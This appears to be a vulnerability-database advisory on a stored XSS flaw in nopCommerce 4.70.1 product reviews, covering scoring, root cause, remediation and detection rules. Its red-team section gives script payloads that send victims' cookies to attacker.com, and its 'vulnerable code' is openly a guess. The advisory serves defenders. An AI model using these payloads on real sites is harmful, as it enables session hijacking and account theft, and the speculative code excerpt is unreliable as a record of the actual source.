CVE-2024-38963
Executive Summary
CVE-2024-38963 is a Stored Cross-Site Scripting (XSS) vulnerability identified in nopCommerce version 4.70.1. The flaw resides in the product review submission functionality, specifically within the AddProductReview.Title and AddProductReview.ReviewText parameters. An authenticated attacker can inject malicious JavaScript payloads that are stored on the server and executed in the browsers of other users viewing the affected product reviews. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability has a public proof-of-concept but no official patch from the vendor at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
nopCommerce is a .NET-based open-source e-commerce platform. The vulnerability is within the core application code, not a third-party package. However, organizations using nopCommerce should verify their deployment version and apply any security updates from the vendor as soon as they become available. The lack of a patch increases the risk for unpatched instances.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs an authenticated user account to submit a review.
- User Interaction (UI): Required (R) – The victim must view the malicious review.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Content modification possible.
- Availability (A): None (N) – No direct impact on availability.
Estimated CVSS Score: 5.4 (Medium)
Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored nature of the XSS increases the potential impact on multiple users.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS. The nopCommerce application fails to properly sanitize or encode user-supplied input in the Title and ReviewText fields when a product review is submitted. The input is stored in the database and later rendered on the product page without adequate escaping.
Attack Flow:
- An attacker registers or logs into the nopCommerce site.
- The attacker navigates to a product page and submits a review.
- In the
TitleorReviewTextfield, the attacker injects a malicious script, e.g.,<script>alert('XSS')</script>. - The application stores the malicious input in the database.
- When any other user (including administrators) views the product page, the script executes in their browser.
Root Cause: The application likely uses @Html.Raw() or similar methods to render the review content without applying HTML encoding. The proper approach would be to use @Html.Encode() or the Razor @ syntax which automatically encodes output.
Vulnerable vs. Patched Code
Vulnerable Code (nopCommerce 4.70.1):
// In Views/Product/_ProductReview.cshtml or similar
<div class="review-title">
@Html.Raw(Model.Title)
</div>
<div class="review-text">
@Html.Raw(Model.ReviewText)
</div>
Patched Code (Hypothetical Fix):
// Properly encode output to prevent XSS
<div class="review-title">
@Model.Title
</div>
<div class="review-text">
@Model.ReviewText
</div>
The patched version uses the default Razor @ syntax which automatically HTML-encodes the output, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A running instance of nopCommerce 4.70.1.
- An authenticated user account.
Exploit Steps:
- Log in to the nopCommerce site.
- Navigate to any product page.
- Submit a review with the following payload in the
TitleorReviewTextfield:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Wait for an administrator or other user to view the product page.
- The victim's cookies are exfiltrated to the attacker's server.
Alternative Payload (Session Hijacking):
<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>
Blue Team (Defensive)
Detection:
- Monitor web application logs for suspicious input patterns in review fields, such as
<script>,onerror=, orjavascript:. - Use a Web Application Firewall (WAF) to block common XSS payloads.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Apply input validation and output encoding as shown in the patched code section.
- If a vendor patch is unavailable, consider modifying the view files to use
@Model.Titleinstead of@Html.Raw(Model.Title). - Restrict the ability to submit reviews to trusted users only.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains from the nopCommerce server.
- Unusual
Refererheaders pointing to product review pages.
- File IOCs:
- Log entries containing
<script>tags in theTitleorReviewTextfields.
- Log entries containing
- Behavioral IOCs:
- Multiple product reviews submitted in quick succession from the same user.
- Reviews containing HTML tags or JavaScript code.
Detection Engineering
YARA Rule
rule Detect_nopCommerce_XSS_Review
{
meta:
description = "Detects XSS payloads in nopCommerce review fields"
author = "Valters IT"
date = "2024-07-01"
reference = "CVE-2024-38963"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: nopCommerce Stored XSS in Product Reviews
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS payloads in nopCommerce review submissions
author: Valters IT
date: 2024/07/01
logsource:
category: web_application
product: nopcommerce
detection:
selection:
http.method: POST
http.url|contains: "/productreviews/"
http.body|contains|all:
- 'AddProductReview.Title'
- '<script'
condition: selection
falsepositives:
- Legitimate use of HTML in reviews (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-38963 nopCommerce Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/productreviews/"; http_uri; content:"AddProductReview.Title"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Product Reviews: Temporarily disable the product review feature in nopCommerce admin settings to prevent exploitation.
- Apply Input Validation: Implement server-side validation to strip or encode HTML tags from review fields.
- Update Views: Modify the relevant view files to use
@Model.Titleand@Model.ReviewTextinstead of@Html.Raw().
Long-Term Fix:
- Monitor the nopCommerce vendor for an official security patch and apply it as soon as it is released.
- Upgrade to a patched version of nopCommerce when available.
- Conduct a security audit of the application to identify similar vulnerabilities.
Compensating Controls:
- Deploy a Web Application Firewall (WAF) with rules to block XSS payloads.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Enable HTTPOnly and Secure flags on session cookies to reduce the impact of cookie theft.
Valters IT
Securing Digital Ecosystems
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.